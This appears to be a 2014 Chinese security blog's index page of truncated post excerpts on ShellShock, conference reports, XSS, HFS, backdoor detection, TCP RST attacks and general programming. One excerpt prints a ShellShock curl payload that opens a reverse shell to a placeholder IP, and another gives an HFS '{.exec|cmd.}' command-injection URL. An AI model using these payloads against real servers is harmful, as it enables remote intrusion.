admin 11年前 (2014-09-29) 1774浏览 0评论

2014中国互联网安全大会第一天结束，安全牛君在会场整整转了一天，晚上回到家不敢偷懒赶紧写稿与大家分享，让种种原因未能参会的圈内人士有个概览。（先做个广告：您的转发就是对本文的支持，thanks!） 原定九点整开始的大会，晚开始了十几分钟，会场已是人...

admin 11年前 (2014-09-29) 2186浏览 0评论

转自：http://www.aqniu.com/neotech/4515.html 前言 2014年9月12日，国内最大的漏洞报告平台wooyun.org在北京中关村皇冠假日酒店召开首届乌云峰会。安全牛作为峰会的合作媒体，全程参 与峰会，并采(dā...

admin 11年前 (2014-09-29) 1563浏览 0评论

如果你正在阅读这篇文章，并且刚刚拿到你的第一份实习offer，那么恭喜你！你的辛勤工作、熬夜学习、专研技术等等努力通通没有白费。面试官非常欣赏你，你拿到了临时签约的offer。关于实习，我总结了一些经验分享给大家，希望能对各位有用。 1.头几天会很...

admin 11年前 (2014-09-29) 3506浏览 0评论

本文PDF下载：破壳漏洞（ShellShock）应急概要 V3 密级 公开   破壳漏洞（ShellShock）应急概要  [第三版 2014/9/27 下午] 知道创宇安全研究团队 1.更新情况 版本 时间 描述 ...

admin 11年前 (2014-09-29) 2479浏览 0评论

不管是用import还是用from mmmm import *的方式导入模块，当程序运行之后，回头在看那个存储着mmmm.py文件的目录中（关于mmmm.py文件可以看上一讲），多了一个文件: qw@qw-Latitude-E4300:~/Docum...

admin 11年前 (2014-09-29) 4365浏览 0评论

一、命令执行漏洞分析 利用这个漏洞，需要两个条件： 服务器收到请求后，会执行bash 执行bash的时候，会将UserAgent等设置成环境变量 同时满足这两点的，一般是使用CGI的服务器，所以受到影响的服务器份额(我语文不好)不是很大。 对它进...

admin 11年前 (2014-09-25) 5983浏览 0评论

ps:利用payload curl http://xxx.xxx.xxx.xxx/cgi-bin/vulnerable -A "() { :;}; /bin/sh -i >& /dev/tcp/REVERSE_SHELL_IP...

admin 11年前 (2014-09-24) 2972浏览 0评论

 最近一直忙于团建的工作，能够完全静下心来的时间也比较短，但团队的分享约定不能忘，同时也为了欢迎即将入队的一位新成员，在这里跟大家分享下Web2.0爬虫的一些技术点，希望对大家有些帮助，大家可以结合【这篇文章】一起来看，收获应该会更大，对其实Web2...

admin 11年前 (2014-09-23) 3923浏览 0评论

转自：http://www.hackqing.com/index.asp?FoxNews=1268.html 这个程序在国内用的特别多，特别是那些抓肉鸡的黑阔。 http://localhost:80/?search=%00{.exec|cmd.} ...

admin 11年前 (2014-09-23) 4837浏览 0评论

ps:在toUpperCase()函数中，字符ı会转变为I，字符ſ会变为S。在toLowerCase()函数中，字符İ会转变为i，字符K会转变为k。利用这些特性可以绕过xss的某些防御。 toUpperCase(): ı ==>I ſ ...

admin 11年前 (2014-09-22) 2051浏览 0评论

昨天，U-EEE的网站收到了持续数分钟的DDOS攻击，在数据库、虚拟磁盘和Web 服务器、SSH服务器依次满载之后，攻击依然持续了数分钟，在所有漏洞尝试无果后，攻击者放弃了攻击，系统恢复了正常访问。     LogWatch发回的报告中显示，攻击针对...

admin 11年前 (2014-09-22) 2324浏览 0评论

背景：2010年12月，Security Research Labs实验室的KarstenNohl和OsmocomBB项目程序员SylvainMunaut在Chaos Communication Congress黑客大会上展示了通过普通手机作为网络“...

admin 11年前 (2014-09-19) 2524浏览 0评论

小编语 想必大家对于“移动互联网时代，平台决定未来”这类的词儿听多了。听多了很多人就想：我要不要做移动开发呢？做的话拜Android还是iOS呢？话说也 没有绝对的答案，目前看来两个平台各自欣欣向荣，自己喜欢哪个就做哪个吧！关键是要尽快开始学并且搞明...

admin 11年前 (2014-09-18) 2599浏览 0评论

作者： 阮一峰 你可能知道，Javascript语言的执行环境是”单线程”（single thread）。 所谓”单线程”，就是指一次只能完成一件任务。如果有多个任务，就必须排队，前面一个任务完成，...

admin 11年前 (2014-09-18) 3943浏览 0评论

转自：http://t.qq.com/p/t/330573116082464 当黑客入侵服务器后留下后门，若能及时发现后门可减少不必要的损失。这里以经典的Apache模块后门 mod_rootme 为例，分享下如何从进程行为来检测Linux后门的一些...

admin 11年前 (2014-09-17) 2154浏览 0评论

什么是网站安全扫描器?我相信玩安全的朋友基本都用过，要是没用过的话那你可以直接忽略本文了。抛开技术细节不说，我认为扫描器其实就是网络爬虫和漏洞识别(俗称:漏洞审计)的一个结合体，网络爬虫的目的就是获取网站中所有的可视和不可视的目录和链接，它是漏漏洞识...

admin 11年前 (2014-09-16) 1678浏览 0评论

在谈RST攻击前，必须先了解TCP：如何通过三次握手建立TCP连接、四次握手怎样把全双工的连接关闭掉、滑动窗口是怎么传输数据的、TCP的flag标志位里RST在哪些情况下出现。下面我会画一些尽量简化的图来表达清楚上述几点，之后再了解下RST攻击是怎么...

admin 11年前 (2014-09-16) 2222浏览 0评论

来源：张洋 摘要 本文以MySQL数据库为研究对象，讨论与数据库索引相关的一些话题。特别需要说明的是，MySQL支持诸多存储引擎，而各种存储引擎 对索引的支持也各不相同，因此MySQL数据库支持多种索引类型，如BTree索引，哈希索引，全文索引等等。...

admin 11年前 (2014-09-13) 1690浏览 0评论

1992年，美国佐治亚州的WEB Technology公司，宣布做出了重大的技术突破。 该公司的DataFiles/16软件，号称可以将任意大于64KB的文件，压缩为原始大小的16分之一。业界议论纷纷，如果消息属实，无异于压缩技术的革命。 &nbs...

admin 11年前 (2014-09-12) 3251浏览 0评论

转自：http://blog.csdn.net/imfinger/article/details/7235658 此文原文来源于一个blog，文章的名称为：linux fork函数的精辟解说 原文地址：http://blog.chinaunix.ne...